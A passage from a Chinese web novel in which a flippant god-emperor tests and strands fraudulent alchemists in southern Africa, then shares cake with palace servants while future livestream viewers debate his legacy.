【你们刚才都看到了吧?】 【就是突然烧起来的吧?】 【我就说是真的。】 【肯定定时装置。】 【承认现实有那么难吗?】 【整天说我们迷信,但是你们自己不也是迷信科学。】 【就是因为你们这样信仰不坚定的人才……】 【乐,怎么话不说完,是怕被禁言了吗?谢吾德怎么不帮你解除禁言。】 弹幕吵成一片,公说公有理婆说婆有理,如果他们是线下,那大概会演化为严重的群体性斗殴时间。 但不管怎么说,谢吾德都不会为他们答疑解惑,最后基本上还是谁都说服不了谁,只有寥寥几个人改变了自己最开始的想法。 在网上吵架人往往只是想要辩倒对方,拿出的证据也都是偏向于自己的。 林耀祖看得头都大了。 她是心态随和的吃瓜党。 这话可不能在直播里说,每次有人要她站队她都是装聋作哑。 接下来还有纸张上出现人影的戏法,据说能召来逝者,让逝者的人来到纸上,与生者再见一面。 谢吾德看了一眼,估摸着又是物理变化化学反应那一套。 作为神明,他反而不信神神鬼鬼的那一套,因为真要有异常,那都是会有法术波动的,他作为亚夏最非人、最接近法网的一面,但凡真的有一点超自然现象,那都会引起他的注意。 敏感度拉满 这个人还真有点本事,他发出了哀戚的声音,对谢吾德说道:“吾德我儿……” 谢吾德垂眸看着这个人。 这个人的脸上毫无尴尬。 这个人不尴尬,他都要尴尬了。 很好,装他妈是吧? 谢吾德拿起边上的笔筒直接把人爆头,那人向后倒去,生死不知。 这个世界设定上的他妈的确是死掉了,但是这个人并没有在这个世界上存在过。 他亲妈十万多年前就去世了。 也就是站在这里的是谢吾德,谢吾德作为神明,亲情的概念在他的脑子里已经淡了许多,要是亚夏在这里,他大概就会绷不住他那冷静自持的脸,直接冲过去给人左右开弓。 别刺激一个从某种程度上来说因为时间被迫灭门的人。 只是亚夏不在现场,但是他依然情绪有点激烈。 他没说话。 谢吾德了解自己,亚夏没说话不是因为镇静,大概率是被气得说不出话来。 温特也没说话,原因同上。 他们气极了大概率会僵住的。 能做出反应的谢吾德就是没有多少情绪。 其他的方士猛地一个哆嗦,这才明白谢吾德喜怒无常这句话的含金量。 之前还有点兴奋,现在脸瞬间就垮了下来。 【你帮我给他来……哦,你打了啊。】亚夏看到那方士现在的样子,一下子就平静了许多,声音从激动变回了极度的平静。 谢吾德觉得这方士也算是踩雷的人才了,一下子得罪三个自己的难度可不小。 谢吾德打了一个哈欠。 他一句话没说,但是所有人都知道,物理化学组,淘汰。 紧接着上场的,是忽悠组一个自称活了两千岁的人。 “贫道出生在殷商时期,曾亲眼目睹武王伐纣,如今已经有两千余岁了。”这个看上去像是个中年人的家伙这么对谢吾德说道,“频道如今大限将至,但是也希望其中诀窍能为陛下分忧一二。” 谢吾德的目光落在了他的身上,眼神微微一凝,这他是真有点羡慕。 说这句话的方士就知道这一个会奏效。 只要是个皇帝果然就无法抗拒长生不老,这种富贵的日子有谁不想长长久久地享受下去呢? 他不知道的是,谢吾德羡慕的不是这个。 亚夏说道:【如果人能只活两千岁就死,那该有多好。】 温特说道:【是啊,是啊。】 他们的语气满满都是羡慕。 区区两千年的寿命,真是太美好了。 他们是目前的人类寿命记录,并且不断刷新这份记录中。 两千岁,对于他们来说虽然不是弹指一挥间,但是也算是逐渐习惯了。 今年他们已经十万余岁了——十万余多少也不清楚,反正不管现在多大,他们是能活到宇宙终结的,那单位是亿年。 太难顶了。 谢吾德是永恒的神明——各种意义上的永恒,但是他想到之后的日子都觉得有点难受。 谢吾德知道这群人是在扯淡,但还是忍不住说道:“你能只活两千岁,是有什么秘籍吗?” 这个方士觉得有点奇怪,觉得谢吾德的用词有点奇怪。 什么叫“只活两千岁”? 能活到两千岁,绝对是一件十分了不起的事情啊! 他隐隐地觉得自己好像有点被鄙视了。 方士瞬间觉得很挫败。 谢吾德真正的身体十万多岁,并且持续刷新着人类寿命的极限,但他不是特例,因为排名第二的人类只比他小四十岁。 只要将自己“升格”,想要活多久就能活多久,最大的问题大概在于人能不能够坚持活这么久。 活到最后,想不想活才是最大的问题了。 谢吾德自称是永恒的,但他也是打心底觉得,活得稍微短一点也是一个不错的选择。 方士不知道为什么,忽然感觉到一种被凡尔赛到了的感觉。 他当然没有活两千岁,自称两千岁的人他现在也不过四十岁。 只不过他见多识广,记忆力又出众,如果单论学识和见识的话,他可能和那些朝中的大臣都不相上下。 他当方士是真的没什么门路了,他因为在家乡得罪了人,干脆就背井离乡编造了一个自己活了两千年的故事到处招摇撞骗。 本来是想要去骗那位旧帝的,但是没想到他还没有赶到开封,北荣就被灭了,于是他又只能蹉跎了十几年。 当年他看上去还脸嫩,跟别人说他年轻是因为他修道有成。 然而他现在四十岁,虽然也不算老,但脸上的皱纹让他有些话显得没什么说服力了。 虽然他能用话术忽悠过去,但是终究比不上直接用事实说话。 只是谢吾德一句话,就让他觉得忽悠不下去了,后面果然,谢吾德听他讲每一句话之后都要加一句“这样就能保证我只能活两千年吗”。 就像是兴冲冲地和人说“你看我牛逼不”,对方回了一句“你居然是牛”。 这种好像没什么问题,但是细究下来哪哪都是问题的对话实在是没法进行下去。 第43章 接下来还有一些人声称自己以前到过一些神奇的地方,内容基本参考《山海经》。 在谢吾德看来,这些人的想象力实在是受限,他们讲的故事明显都能看出这就是本土的故事衍生出来的东西,顶多再掺杂一些印度那边的神话传说。 对于其他人来说,这些故事听上去非常新奇,但是对于熟悉世界各国文化的人来说,就显得有点缺乏想象力了。 “跳过,下一个。” 接下来是金丹组了。 长生大道,金丹飞升。 谢吾德让他们把那些丹药拿过来。 余文彦没劝住,李真是个谢吾德不折不扣的狗腿,他不会说任何会让谢吾德感觉不高兴的话,谢吾德让他做什么他就做什么,他是谢吾德不折不扣的狗腿。 哪怕这件事情对谢吾德不利也一样。 谢吾德看着托盘上的那些丹药,一个个都是用精致的瓷瓶或者盒子装着,打开看了一眼,基本全都是绿豆大小的丸子。 谢吾德哗啦啦全倒出来,看的下面那些方士心疼地直抽抽。 这可真是暴殄天物! 他们这些方士不少都是相信自己炼的丹多多少少还是有点用的,之前有人吃死是因为那些人学艺不精,或者是没有摸索对路,总是得尝试的。 而且这些丹药都是用了上好的材料,都不便宜。 他们看向谢吾德的表情变得更加绝望了,谢吾德用笔扒拉这些丹药的样子就像是刚刚吃过的猫扒拉老鼠一样,他只是对这些东西十分好奇,他们这些人精都能看出来谢吾德只是想要见识一下金丹长什么样子。 谢吾德的眼睛亮晶晶的,把这些丹药拨弄得像是小弹珠一样。 亚夏:【我得提醒你一句,有的丹药里会加童子尿。】 谢吾德把笔丢在托盘上,屏住呼吸直接后仰。 不玩了,不玩了。 谢吾德都快炸毛了:【……你怎么才提醒我?】 亚夏的态度很严谨:【不太确定我的记忆有没有问题,你知道我的情况,所以搜了一下。】 这种时候不要这么严谨啊! 谢吾德想咬人,并且在某一瞬间怀疑亚夏是故意的,但是转念一想,却又觉得亚夏没必要这么做,因为他就是亚夏,亚夏虽然会看他不顺眼,但是在身体状况的共情方面是拉满的。 不然他也不会轻易地用被针扎了就拿捏住亚夏。 换个人大概就要嘲笑他了。 只有自己才清楚自己晕针的毛病有多么货真价实。 李真赶紧把托盘撤走,谢吾德嫌弃的表情已经很明显了。 没人知道谢吾德脑子里发生的交流,在其他人眼中大概就是谢吾德上一秒还有点兴奋,下一秒就忽然嫌弃这些东西了。 之前他们觉得谢吾德扒拉这些丹药的样子像猫,但是谢吾德这变脸的速度比猫都快。 在其他人眼中谢吾德这就是一次酣畅淋漓的发神经。 “行了。”谢吾德过了一会,觉得空气中被他拨弄出来的丹药灰尘已经完全散开了,他才拍了一下手,让这些人都安静。 “我听懂了,你们的意思是,你们这些人个个都身怀绝技?”谢吾德说道。 之前的方士莫名地从谢吾德的话语中感到了一丝阴阳怪气。 “好了,你们退下吧。”谢吾德让余文彦他们先离开。 谢吾德本来还想世家会不会有人想要害他,结果好像就是纯来添乱的,至少在这一阶段就是来添乱的。 谢吾德要是想见识到下一阶段的目标就要陪他们演,让他觉得他中招了,这样世家才会投入更多的资源来坑害他。 需要耗费脑子搞得人际关系太麻烦了,谢吾德拒绝。 他们是什么东西,还能让谢吾德陪他们演? 而且当皇帝很累的——来自完全没有努力的谢吾德。 余文彦有点担心地看着谢吾德,但他们想想又觉得,担心谢吾德实属是不必要的事情,于是便还算顺从地离开了。 林耀祖倒是有点失望,因为她还想继续吃瓜。 只不过别人都不敢提出意见,她也不敢提出意见。 林耀祖弹幕里的那些人也不太高兴,他们想要撺掇着林耀祖留下来。 【武宗肯定都已经看出了你非常不一样,为什么不和他把话说明白,让他给你一个留下来的机会呢?】 林耀祖觉得他们说得对,但是她不敢冒险。 这一群弹幕也就是看热闹不嫌事大,他们不敢做的事情,就希望别人来替他们做。 可是林耀祖有逼数。 谢吾德性格没那么稳定,甚至很多行为都很分裂,现代很多专家都觉得他应该是真的有精神病,而且刚刚谢吾德从兴奋到嫌弃都没用半秒的时间,这仿佛给他脑子有病增加了佐证。 她在这个世界被杀还会复活,但是她的这个直播系统在她穿越来的时候就警告她,如果谢吾德亲自杀死她的话,那她是真的会死。 她完全不敢作死。 林耀祖能够一直待在谢吾德身边,都已经算是她勇气可嘉了。 谢吾德等着他们都走了,才把目光重新转向了这些方士。 他把林耀祖赶走,不是担心自己泄露了自己是从另外一个世界的现代来的事情,而是想要先欲扬先抑。 现在就把这个谜底揭露了多没意思,还是等着以后给她来一个更大的震撼。 虽然不知道在林耀祖那个世界的历史上自己是什么样子的,但是肯定有很多人信奉他,先让他们误会自己相对普通就好了。 方士们看着谢吾德打量他们。 这个看上去还有一些少年感的皇帝,长得实在是过分漂亮了。 在他走下来靠近他们的时候,这些方士能够非常清晰地看到谢吾德那双蓝色的眼睛。 谢吾德下来的时候有着清晰的鞋跟落地的声音,哒哒的声音就像是某种倒计时一样敲在了他们的心底。 他的眼睛就完全没有眨动一下,他就像是正准备捕猎的老虎一样专注。 谢吾德还是很爱笑的,因为他的乐子很多,不像亚夏和温特那样有着二十一世纪现代人类较高的道德水平。 谢吾德只要一想到他接下来想要做什么,他就忍不住勾起了嘴角,但是方士们看谢吾德的眼神里仿佛带上了血腥味。 他在方士们身后站定。 谢吾德明明身为皇帝,但是却喜欢站在别人的身后,就像是野兽准备扑食。 他们忍不住有点发抖,像是食草动物一样想要逃跑,但是站在他们身后的谢吾德却截断了他们的后路。 可惜,他们哪里也去不了。 第44章 谢吾德让他们往后面走:“这样啊,我大概已经明白了你们的能力,现在我就要考验你们一下。” 那群方士不明就里,但谢吾德在他们身后像是在驱赶着羊群一样。 方士被一路赶到了一个小院里,他们这才感觉到谢吾德喜欢站在人后面的习惯有多讨厌——根本就没办法找到机会跑掉。 谢吾德还会催他们快点走。 谢吾德人高腿长,而他们这些人大多出身不显,平均身高连一米六五都没有,他半步能顶他们一步了。 “你们这么有本事,一定能够做到许多常人难以做到的事情吧。”谢吾德把揣在袖子里,然后用脚把门关上了。 这个院子没有人。 谢吾德能够感觉到哪里有人。 他不觉得这个世界的人类是真正的人类,关于这个话题,在哲学上能让人吵上数个来回,但是从基因层面来看,他们就是人类,法网最基本的开放裁定标准就是和亚夏的基因相似性,这个世界人类的法网使用权限被亚夏锁了,但是只要他们在思考,就能够被谢吾德感应到。 这附近是没人的。 谢吾德很确定。 因为他以前就在这里住过。 宫人还是忌讳他的存在,到现在都绕着这个地方走。 方士们集体沉默了。 人类只是一种很聪明的动物,自然也有着动物们在面对生死危机的时候的敏锐直觉。 谢吾德的恶意已经不是溢出来了,而是直接糊了他们一脸。 他们知道自己如果点头,谢吾德绝对会出一些极端为难人的条件来折磨他们,但是他们又从谢吾德的表情中看出来,只要他们敢说一个不字,那这些方士就会立刻被他砍下头颅。 早死还是晚死? 这个问题并不难选择。 总之先活下来才更有可能有一线生机。 抱着这个想法,他们硬着头皮点头了。 谢吾德像是得到了一个令人满意的答案一样微微颔首,然后打了一个响指。 周围的画面倏地改变,他们从寂静的皇宫中,一下子出现在了一片陌生的空地上。 周围还有一群皮肤黝黑到完全无法用这是晒黑来解释的人,方士们大多都见多识广,他们觉得这看上去像是典籍中记载的那些昆仑奴。 但是他们看到的都是那些海外的商人把人卖来这里,哪里见过他们的老家。 这群方士们惊呆了,然而出现在他们眼前的一切是那么真实。 有人腿一软,跪坐在地;有人嗫嚅着嘴唇,似乎在说着方言粗话;还有人的双手像是得了帕金森一样止不住地颤抖。 那群人看到突然出现的人,立刻叽里呱啦地叫了起来,然后哐哐地朝他们虔诚下拜。 他们精准地看出了这群人中谁是最重要的那一个。 就算不看谢吾德那镇定的表现,光是看脸和气度,就能够感觉他是最好看的。 跨种族之间是有审美差异的,但是却仍然有着一些共同的评判标准。 谢吾德听不懂他们在说什么,他也无意去探究他们表达的内容,他只是微微偏头看着那群方士。 他们已然完全无法保持住之前高深莫测的神棍模样了。 他们结结巴巴地问谢吾德:“陛下,这里是哪里?” 谢吾德捏着自己的下巴,笑眯眯地说:“你们听说过燕子南飞吗?” 方士们战战兢兢地看着谢吾德,就如同看见一个神祇。 他们只是来忽悠谢吾德的,他们以为什么都见过了,但是这场面还是真的没见过…… 有一个方士胆子还是比较大的,他恭敬地行礼,然后说道:“陛下恕罪,小的不知。” 谢吾德立刻笑着说道:“这里是南非。” 谢吾德讲了一个冷笑话,南非的企鹅大概都想回到老家南极了。 但是他的冷笑话水平也就比德国人好一点,很多人都不明白他的笑点。 “南飞?” “南非。” 这是牛头不对马嘴的对话,但是谢吾德看他们口水都要从嘴边流下来的样子就笑得前仰后合。 亚夏和温特也没憋得住,别人不懂谢吾德的笑点,可是自己太懂了,但是他们的道德不允许他们笑。 这群方士做的坏事在他们看来还不至于流放非洲。 但是谢吾德可不会按照法律条款来。 这群方士是不知道什么叫非洲,更不知道什么是南非。 可能身处南非的人,也不知道自己现在在南非。 因为所谓的“亚非欧”不过是罗马对这个世界的划分。 以谢吾德的视角来看,这种划分十分搞笑,完全是以欧洲为中心进行划分。 别说是文化了,在亚洲,人种都有差别。 但谢吾德倒是不介意叫一叫南非。 方士们看着谢吾德笑得快岔气了,他们确定这里大概是一个叫“南飞”的地方。 他们哪里知道在哪,但他们看这里的人和他们长相的巨大差别,他们知道这里绝对离中国非常遥远。 方士们觉得事情有点不太妙。 谢吾德这是在报复他们。 方士们心里有数。 哪有什么正直的人会引荐方士呢? 他们这些能混到锦京的方士都清楚这其中的弯弯绕。 肯定是世家心里憋着坏,想要让他们方士把皇帝拐到歪路上。 方士和世家不一定站在一面,方士被世家举荐只是因为他们在一些事情上可以合作,但是从谢吾德的角度来看,他们是谢吾德的敌人,是要来害谢吾德的。 那谢吾德会因为他们并不完全是世家的人而对他们有好脸色吗? 肯定不是, 谢吾德一看就是那种很会搞连坐的人。 但是他们还是抱有一些不切实际的希望。 万一谢吾德是那种不拘小节的高人呢? 这种高人怎么可能和他们这些小角色计较呢? 只是想要整人心态的谢吾德:“你们都说了你们很厉害,既然你们本事那么大,那你们自己回去吧。” 谢吾德看着这群非洲的土著,挥挥手让他们不要离他太近。 有洁癖而且嗅觉灵敏的人受不了体味重的人,也幸亏他现在是站在上风位,不然他真的没办法在这里待。 谢吾德可以净化这附近的空气,可是他为什么要这么干。 难道不应该是让这群人回避他吗? 谢吾德有一种十分自然的上位者心态。 “陛下您说什么?”几个方士十分不可思议地问道。 “让你们自己回家呀。”谢吾德揣着手,欣赏着这群人的表情,“你当我是闲得无聊带你们玩这一趟?” 谢吾德挥挥手,然后说道:“我先走了。” 那群方士瞪大眼睛,也不管谢吾德会不会杀掉他们,他们径直地扑到谢吾德身边,然而谢吾德的反应速度怎么能是他们这群普通人类相比的? 谢吾德在方士们扑过来前一秒就消失在了原地。 方士们扑了个空,扑得满身尘土。 方士们与土著们们的表情也很奇怪。 这群土著不理解具体发生了什么事,但这并非是因为他们愚蠢。 人类不分种族,平均智商都是一样的,毕竟在生物学分类上是不存在人种。 他们只不过因为文化和知识储备量才导致会给人一种聪明或者愚蠢的感觉,但是在看人脸色和感知现在的情况方面,人类有着自己的诀窍的。 就比如他们能够看出来,这群人中掌控一切的伟大存在已经走了,那身红色鲜亮的干净衣服给他们留下了深刻的印象。 生活在南非的人几乎这辈子都没有机会见过丝绸,也很少能看到这么鲜亮的颜色,就连部落长老都没有见识过这样的东西。 他们在一旁窃窃私语,觉得这群突然出现的人很可能是被突然出现的神明大人给抛弃了。 难道他们是什么罪大恶极的人?还是说这群人是神给他留给他们的指引? 他们讨论了良久,决定先做一点事情来试探一下他们。 他们拿着手中的长矛把这几个方士围住。 方士们的第一反应是恐惧。 任谁被人丢到这种人生地不熟、甚至语言不通的地方都会感到害怕。 二十一世纪,黑叔叔的语言不一定是不通的,但是在这个时代,方士和这群土著的语言是真的一点都不通。 只要白令海陆桥不出现,那这里就是他们步行能抵达的最远距离。 生死危机中有大智慧,这群方士见过很多大场面,甚至有的人是从萧人手中逃离,尸山血海都跑过来了,他们看这里似乎只是一个小村子规模,瞬间就定下心了。 他们手上还有一些用来装神弄鬼的东西,当初那个胆子最大的方士手一抖,符纸迎风点燃,他鼓起脸颊,火龙便猛地腾起。 这招对谢吾德没用,到那时对这些普通的方士还是挺有用的。 在宫中,他还要收敛一点防止烧到不该烧的东西,但是在这里,他就不需要客气了。 那群土著便像是他们之前被谢吾德吓到那样,甚至有太过于靠前的人被燎到了头发。 这群人一定是巫师吧? 部落里的巫师也被惊动,他挠破头都没想到这群人是怎么做到的这点. 谢吾德回到崇政殿之后就听到余文彦求见。 谢吾德正在吃奶油蛋糕,这个蛋糕外面撒着诱人的草莓干,上面装饰着葡萄,用叉子叉下一块,柔软的蛋糕胚让人口水都要从嘴角流出来了。 暂且被称为“小白”的白猫翘着尾巴蹭着谢吾德的小腿,想要分一杯羹。 谢吾德掏出了一碟没有加糖的奶油,直接放在地上,顺便还放了一块肉。 小白嗷呜嗷呜地吃得像是猪一样。 余文彦来是想要谢吾德看看他策划的登基大典的流程有没有什么问题。 谢吾德托腮:“放一边吧。” “陛下,这件事情您还是再看看吧,您有什么不满意的地方可以留出时间修改。”余文彦直接道。 在谢吾德面前他有话直说,谢吾德从来都不理会言下之意。 除非是奏折。 余文彦听说最近朝中有人被谢吾德气吐血了。 不是没有人怀疑这奏折根本就是别人帮谢吾德代批,但是就这奏折中那让人血管喷张的感觉却是对的。 大家都自诩文化人,即使是皇帝在朝中也得仰仗他们这些文人,说话做事都要留几分,除非是皇帝想要整人或者这个臣子触碰到了皇帝的底线,不然根本没有谢吾德这种直接把人讽刺得让人厥过去的操作。 锦京最近医家的生意不是一般得好。 如果谢吾德和这些臣子有一个不改变自己的行为的话,那早晚得有人被谢吾德发回的奏折活活气死。 “哦,你看着办吧。”谢吾德发出了万恶老板的声音。 余文彦:“……陛下如此信任我?” 谢吾德认真思考了一下,然后给出了一个回答:“倒也不是,主要是你要乱搞我完全可以不按照章程来嘛。” 余文彦血压飙升,眼前一黑:“陛!下!” 他怕的就是这个啊! 以谢吾德性格和神奇的脑回路,鬼知道他的雷点是什么,他会因为什么感到不爽。 他和谢吾德之间有代沟啊! “我跟你说不祭祀乱七八糟的东西你删了吗?” “……天地先祖不是乱七八糟的东西,但是我删了。”余文彦坚持纠正。 “没有我需要跪拜的东西吧?”谢吾德含着叉子问。 “……您是陛下。” “所以没有?”谢吾德嚼嚼嚼,顺便用脚勾着猫玩。 “没有。” “没有有损我形象的东西吧?” “没有。” “那不就行了。”谢吾德让AI检查一下就立刻能够知道结果,但是他就不看,纯气人。 也不知道和谁在犟。 余文彦深吸了几次,他又很多话想要说,但是最后还是没说出来。 因为谢吾德是有点在乎,但是不完全在乎。 在这方面说他是完全没有意义的。 余文彦只能和谢吾德妥协了:“那陛下打算什么时候了解流程呢?” “到登基那天你再说吧。”谢吾德完全没放在心上。 那些无聊的部分让亚夏代班,亚夏不记,这群太监还能不记? 余文彦深吸了几口气,让自己镇定下来,然后似乎只是随口一问:“陛下,那群方士如何?” “你觉得那群方士怎么样了呢?”谢吾德的声音十分温柔。 这种温柔听着让人脊背有点发凉,因为这种说话方式可绝对不是谢吾德的习惯。 谢吾德说话的语气和温柔没有半点关系,有时候甚至显得有点冷硬。 余文彦被谢吾德搞得毛骨悚然的,但是还是问:“陛下,他们还活着吗?” “当然死了。”谢吾德当即选择满嘴跑火车,“你也看出来了,那群家伙就是骗子,我把他们抽筋扒皮之后偷偷地埋了起来。” 第45章 余文彦感觉谢吾德确实能够做出来这种事情,但是他觉得谢吾德现在的语气就是在胡说八道吓唬别人。 谢吾德哼着歌,是“小燕子,穿花衣”的调调。 他对把人放到南非没有半点愧疚,完全都是整了个大活后的兴奋。 他回来之后甚至围着崇政殿跑了一圈,还得了亚夏一个“屎后疯”的评价。 没跑两圈是有点累。 谢吾德没耐力——各种意义上的。 “对了,你吃蛋糕吗?”谢吾德今天很大方,他兴奋起来就不抠门了。 谢吾德看看余文彦一会信了他的鬼话,一会又不怎么信,脸色一会青一会白,应该是吃不下,那谢吾德就更想给他了:“如果你吃不下的话,可以回家给你的孩子吃。你有孩子吧?” “……有的,多谢陛下。”余文彦还是谢了。 谢吾德看看一圈太监和宫女。 这群人的脸他到现在都没记得住,不过谢吾德没有过目不忘的技能,没好好看过的脸又怎么会记住。 不过他觉得这都是他的人,大方一下也不错。 “你们也自己拿。” 谢吾德让他们自己从后面的柜子里拿蛋糕。 林耀祖脸上没有什么惊奇。 这倒是不奇怪,大概蛋糕在这个世界变成了某种传统美食。 但是太监宫女们就是第一次见了。 他们在给余文彦拿了一个之后,就一人按着一个。 太监宫女们就是完全不在意谢吾德刚刚的劲爆发言,几个方士的死换陛下心情如此之好,他们也算是死得其所了。 宫里吃人不吐骨头,他们都习惯了。 虽然谢吾德也吃人不吐骨头,但是谢吾德会分享。 皇帝什么时候会给他们分吃的,他们一直不都是吃皇帝吃剩下的吗? 好皇帝允许他们吃剩饭,坏点的连剩饭都不让他们吃。 这种新奇的东西他们这辈子都没有见过。 有的人直接捧着磁盘装着的蛋糕落泪。 谢吾德看不下去他们光打量着却一口不动,他问道:“你们看什么看?再不吃就会化了,还是说你们也有孩子?” 太监们被谢吾德这句话给哽了一下,他们太监哪来的孩子呢? 宫女们也满头黑线。 从某种程度上来说,他们这些宫女也是皇帝的女人,要是有孩子那事就大了。 谢吾德没有保持温情的能力,纯脱线。 至于谢吾德从哪来的蛋糕? 这问题没必要问。 太监宫女们都习惯了。 谢吾德的槽点说三天三夜都说不完,他们这些太监宫女都要担心失业了,那谢吾德肯定是有其他服侍他的人才不需要他们。 而且他们也知道宫外的事情。 村里没发粮,但是国里发粮了。 要么是谢吾德是真的天神下凡,要么是谢吾德背后还有一大群人,那种都挺恐怖的。 再说了,谢吾德好像随时能从系统里掏出来一堆东西,他那个袖子就跟个乾坤袋一样。 有的人虽然没有孩子,但是却有家人。 只可惜听谢吾德说了一句“会化”,那应该就是不太可能送出去给人尝尝了。 也是,这么精致的东西,一看就容易坏。 一般来说,他们这些宫女太监都不能再皇帝面前吃东西的。 女人能不能上桌另说,他们这些下人在皇帝面前是绝对不能上桌的。 但是皇帝就是这个世界上最大的规矩。 谢吾德让他们吃,他们就得吃。 还没有吃进嘴巴里,他们就感觉到了糖油混合物的香气,舌头微微一抿,大脑就要炸开了。 那些神仙平时都吃什么呢? 大概就是这些东西吧。 他们想。 谢吾德的蛋糕大多都是工厂出品,算不上顶尖美味。 他的信徒们有时候也会给他献上一些甜品,但是那些信徒不是人类,他们的最高水平和人类大工业制造出来的平均水平没有太大的差别。 现在这些太监和宫女看着谢吾德,哪怕谢吾德在说着自己杀了人的话,他们也觉得谢吾德的身上仿佛笼罩上了一层圣光。 他们这些太监宫女能吃皇帝吃剩的剩饭已经算是很好的待遇了,但是这对于谢吾德来说,这实在是太正常了。 不管他被信仰如何污染,归根结底,他都是在一个现代社会中长大的人,和人分享食物完全是常规操作。 甚至这群太监宫女太过于礼貌,没有像要饿死的秃鹫一样一哄而上让他觉得有点没劲。 他以前那些同学恨不得把他的嘴掰开抢吃的。 除非是谢吾德故意折腾人,他也很难想到把剩饭留给别人的这种操作,他甚至一直都是那个清盘的人。 只能说封建社会的系统性压迫随随便便一点招数,都是现代普通人类绞尽脑汁才能想出来的招数。 谢吾德的很多想法对于任何时代的人来说都是矛盾的。 他是从自己的本体上被分离出来的,本体有完整的三观,谢吾德的三观被迫被信仰破碎了,让他和本体难以继续维持着紧密联合在一起的状态,所以最后才出现了这种分裂的结果。 所以其他人看谢吾德也很矛盾,感觉他没把任何人看在眼里,但是在了解过谢吾德之后,就又会感觉他有时候看人过分平等了, 在谢吾德身旁的那些太监宫女,大多都比较聪明且知分寸,就算有几个比较呆的人,看看身边的人的做法也大概知道自己要做什么了。 很多太监宫女在回去之后都把谢吾德分给他们的蛋糕又分了一些给自己的那些同伴吃。 不少人第一时间就落下泪来。 食物很美味,奶油的香甜,草莓干带着一点点嚼劲,葡萄清甜可口,夹层里还有芒果块。 有几个人吃过这种东西。 在这个年代很少有人可以拒绝糖油混合物。 荣朝虽然以瘦为美,但是除了那些宫里追求窈窕的娘娘们,他们这些宫人之前都不是总能吃饱的,也就是混到了御前之后才算得上是吃喝不愁,不用瘦就已经很瘦了。 这种充满了现代奢侈味道的蛋糕,虽然算不上是中国的传统美食,但是味觉是共通的。他们一边吃一边落泪,然后忍不住发出了和世家豪门完全相反的感慨:“陛下真是慷慨啊。如果他能够一直做我们的皇帝,一年……不,甚至五年让我们吃一次这个东西都可以。” 这个想法其实有点贪心,但是以谢吾德现在展现出来的性格,这还真不是没可能——前提是他能想得起来这件事情。 不过没关系,食物就是一切生物的源动力,他们会想办法不让谢吾德忘这件事的。 但是他们也不觉得谢吾德必须要做这件事。 谢吾德不喜欢道德绑架,谁想绑架他,他就杀了谁。 谢吾德愿意给人吃的基本上就是坏人做好事。 有年纪更小的小姑娘,更是哇地一声哭出来了,他喊道:“我也想让我娘尝一尝。” 情绪是会传染的,当有一个人落泪的时候,其他人也忍不住哭了起来,林耀祖这个小小的院落里一堆宫女互相抱着哭。 这里的宫女入宫的时候大多都比较小,虽然说出宫的宫女好嫁人,但是总不能年纪很大。 什么时候能出宫本身就是一个不确定的事情。 总体来说,进宫不是享福的。 她们不是那些娘娘,她们只是这个并不太平的世界的苦命人。 她们进宫的年纪放在现代就是纯纯的未成年,上寄宿学校的孩子都偶尔会抱着被子哭,更别提这种几年都没办法再见到家人的情况了。 她们很多人之间都有着摩擦,但是感情到了深处,也不在意彼此之间的那点小摩擦了。 她们彼此之间的确是相互怜悯的。 因为之前宫中乱过,以前喜欢挑事或者事比较多的人大多被人偷偷的给杀掉了,所以现在这宫中这些伺候人的角色正处于一个缺乏管理的阶段。 林耀祖有点尴尬,她今年二十七,但是在场有很多不到十八岁的孩子,她看着这群青春期的小女孩哭,觉得自己格格不入。 她不像她们那么想家。 这些宫女是浮萍,但是林耀祖知道自己肯定能回家,而且就算是三十岁才能回家,家里人也会很欢迎她的。 她是家中的独生女,是不工作也吃喝不愁的富二代,她的底气不是这群宫女可以相比的。 她看着眼前的蛋糕,本来想要好好享受,但是看她们那么可怜,还是默默地把这块蛋糕分成一块一块的,一人再分一点。 小宫女们眼眶红红地看着林耀祖,破涕为笑,说:“谢谢林姐姐。” 林耀祖摸摸她们的头。 林耀祖砸吧砸吧嘴还不知道自己什么时候能够回到现代,这样的味道少一点是一点。 虽然可以用积分兑换这些食物,但是不说浪费积分的问题,尔雅基本上和她形影不离,她很难解释自己是怎么凭空变出来这些东西的。 谢吾德本来就不是很担心自己身上一些现代工业的东西会暴露他的身份,对于林耀祖而言,他就是历史的一部分,他现在拿出来的东西就是未来的历史,对于后世的那些网友来说,就像是玩梗王莽是穿越者,或者只是感叹一句老祖宗的智慧。 林耀祖看着弹幕,而弹幕那边的人心情大多都是比较复杂的。 谢吾德是一个好皇帝吗? 这个话题在后世除了一些比较喜欢标新立异的人之外,大家的态度都是否定的。 网络上大数据一般只推送符合人口味的东西,但是如果有人站在大街上,手里拉个这样的横幅,指不定就有人过来呸一口。 谢吾德造成天灾,也造成人祸。 更令人讨厌的是,他其实是可以做好的,但是就是不做。 谢吾德和好这个词完全扯不上多少关系,他弄出来的幺蛾子到了最后几乎成为葬送整个文明的巨大灾难。 现在世界虽然又重新恢复了基本和平,但是对于华夏这个文明来说,过去的苦痛总是令人念念不忘的。 他们后世的网站上总是会出现一些奇怪的问题,比如说“屎味的巧克力还是巧克力味的屎”,这种问题能让人吵上个几千层,而有些比较搞怪的人如果再加一句“还是让谢吾德千万不要当那个皇帝”,那原本在纠结是吃屎味的巧克力还是巧克力味的屎的人,瞬间就不纠结所谓口味的问题了,甚至会有一些激进的人直接表示要把这两个都吃了,千万不要让谢吾德当皇帝。 如果还不行,他把谢吾德吃了也行。 在南荣,谢吾德是流量密码,在未来谢吾德依然是流量密码。 诚然谢吾德给这个文明带来了无数荣耀,但是无数的灾难也是由他而始。 记载历史的人本身就有自己的立场,他们写出来的东西本身也具有引导性。 在谢吾德消失之后,那些手握话语权的人大多都站在了世家的一侧,选择猛烈抨击谢吾德的过失,从行为到道德全都批判了一番。 更重要的是,后来发生的那些灾难,也好像和过去这些人的批评相呼应了。 这就导致了谢吾德的口碑完全是灾难化的。 可是任由他们现代人在网络上吵翻天,现在经历一切的不是他们。 他们这群人生活在近三百年后,这片土地上发生了很多灾难,但是他们这些已经进入到了工业时代的人早就吃喝不愁,过去的苦痛和他们已经没有太大的关联了。 他们感受到的是谢吾德给予所有人的痛苦,但是这群宫女感受到的却是在谢吾德出现之前的痛苦。 很多比较感性的人,在看到那些宫女们的眼泪的时候,他们都忍不住的有点鼻子发酸。 谢吾德在未来看来是一个绝顶糟糕的皇帝,但是对于现在的人呢? 谢吾德对世家残暴,但是却愿意给普通人食物,以后也会给他们更好的生活条件。 这都是无偿的。 谢吾德要的只是普通人的崇拜。 这个民族相当务实。 即使在现代,也有很多人只要发鸡蛋就愿意去信点什么。 